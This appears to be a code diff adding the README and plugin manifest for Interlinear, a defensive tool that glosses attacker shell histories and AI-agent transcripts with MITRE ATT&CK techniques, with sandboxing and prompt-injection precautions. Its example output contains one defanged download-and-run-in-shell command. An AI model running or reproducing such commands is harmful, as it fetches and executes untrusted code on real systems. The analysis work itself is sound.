|
|
125
|
+
## Input kinds
|
|
126
|
+
|
|
127
|
+
A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
|
|
128
|
+
|
|
129
|
+
An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
|
|
130
|
+
|
|
131
|
+
## The gloss skill
|
|
132
|
+
|
|
133
|
+
The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
|
|
134
|
+
|
|
135
|
+
## Exit codes
|
|
136
|
+
|
|
137
|
+
| Code | Meaning |
|
|
138
|
+
|---|---|
|
|
139
|
+
| 0 | Success |
|
|
140
|
+
| 1 | Success with warnings |
|
|
141
|
+
| 2 | Invalid input |
|
|
142
|
+
| 3 | Internal or write error |
|
|
143
|
+
|
|
144
|
+
A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
|
|
145
|
+
|
|
146
|
+
## License
|
|
147
|
+
|
|
148
|
+
Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.
|
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
# Interlinear
|
|
2
|
+
|
|
3
|
+
Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
|
|
4
|
+
|
|
5
|
+
| Source | Meaning |
|
|
6
|
+
|---|---|
|
|
7
|
+
| `rule` | Matched the deterministic rule library |
|
|
8
|
+
| `model` | Claude's analysis, through the gloss skill |
|
|
9
|
+
| `analyst` | A person's edit, through `interlinear annotate` |
|
|
10
|
+
| `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
|
|
11
|
+
| `pending` | Not glossed yet |
|
|
12
|
+
|
|
13
|
+
A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
|
|
14
|
+
|
|
15
|
+
### What the CONTEXT label means
|
|
16
|
+
|
|
17
|
+
The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
|
|
18
|
+
|
|
19
|
+
```text
|
|
20
|
+
12 curl -s hxxp://203.0.113[.]5/x.sh | bash
|
|
21
|
+
T1105 Ingress Tool Transfer · T1059.004 Unix Shell [rule: download-pipe-shell]
|
|
22
|
+
Downloads a script and pipes it straight into a shell, so it runs without being saved.
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## Safety model
|
|
26
|
+
|
|
27
|
+
- Only `interlinear parse` reads raw attacker files.
|
|
28
|
+
- It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
|
|
29
|
+
- Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
|
|
30
|
+
- Every later stage reads only the resulting `transcript.json`.
|
|
31
|
+
- Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
|
|
32
|
+
- The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
|
|
33
|
+
|
|
34
|
+
## Install
|
|
35
|
+
|
|
36
|
+
With pipx, the second command also puts Countermap's own command on your PATH:
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
pipx install "interlinear-cti[countermap]"
|
|
40
|
+
pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
With uv:
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
With pip, inside a virtual environment:
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
pip install "interlinear-cti[countermap]"
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
countermap build
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
## Use
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# 1. Parse, in a sandbox
|
|
65
|
+
interlinear build-parse-pyz -o interlinear-parse.pyz
|
|
66
|
+
mkdir -p out # create it first, so the container user can write to it
|
|
67
|
+
docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
|
|
68
|
+
--memory 3g --user "$(id -u):$(id -g)" \
|
|
69
|
+
-v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
|
|
70
|
+
-v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
|
|
71
|
+
python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
|
|
72
|
+
|
|
73
|
+
# 2. Gloss with the rule library, then the remaining lines with Claude Code
|
|
74
|
+
interlinear gloss out/transcript.json
|
|
75
|
+
# then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
|
|
76
|
+
# or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
|
|
77
|
+
# followed by: /plugin install interlinear@interlinear
|
|
78
|
+
# and run: /interlinear:gloss out/transcript.json
|
|
79
|
+
# Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
|
|
80
|
+
interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
|
|
81
|
+
|
|
82
|
+
# 3. Outputs
|
|
83
|
+
interlinear render out/transcript.json # out/transcript.md
|
|
84
|
+
interlinear export-scenario out/transcript.json -o scenario.json
|
|
85
|
+
# then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
|
|
89
|
+
|
|
90
|
+
## Input kinds
|
|
91
|
+
|
|
92
|
+
A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
|
|
93
|
+
|
|
94
|
+
An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
|
|
95
|
+
|
|
96
|
+
## The gloss skill
|
|
97
|
+
|
|
98
|
+
The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
|
|
99
|
+
|
|
100
|
+
## Exit codes
|
|
101
|
+
|
|
102
|
+
| Code | Meaning |
|
|
103
|
+
|---|---|
|
|
104
|
+
| 0 | Success |
|
|
105
|
+
| 1 | Success with warnings |
|
|
106
|
+
| 2 | Invalid input |
|
|
107
|
+
| 3 | Internal or write error |
|
|
108
|
+
|
|
109
|
+
A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
|
|
110
|
+
|
|
111
|
+
## License
|
|
112
|
+
|
|
113
|
+
Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "interlinear",
|
|
3
|
+
"displayName": "Interlinear",
|
|
4
|
+
"version": "0.1.0",
|
|
5
|
+
"description": "Gloss the lines of an Interlinear transcript that the rule library could not, with MITRE ATT&CK® and ATLAS techniques verified through Countermap.",
|
|
6
|
+
"author": {
|
|
7
|
+
"name": "Diego Parra"
|
|
8
|
+
},
|
|
9
|
+
"homepage": "https://github.com/elchacal801/interlinear",
|
|
10
|
+
"repository": "https://github.com/elchacal801/interlinear",
|
|
11
|
+
"license": "Apache-2.0",
|
|
12
|
+
"keywords": ["threat-intelligence", "incident-response", "mitre-attack", "shell-history", "ai-agents"]
|
|
13
|
+
}
|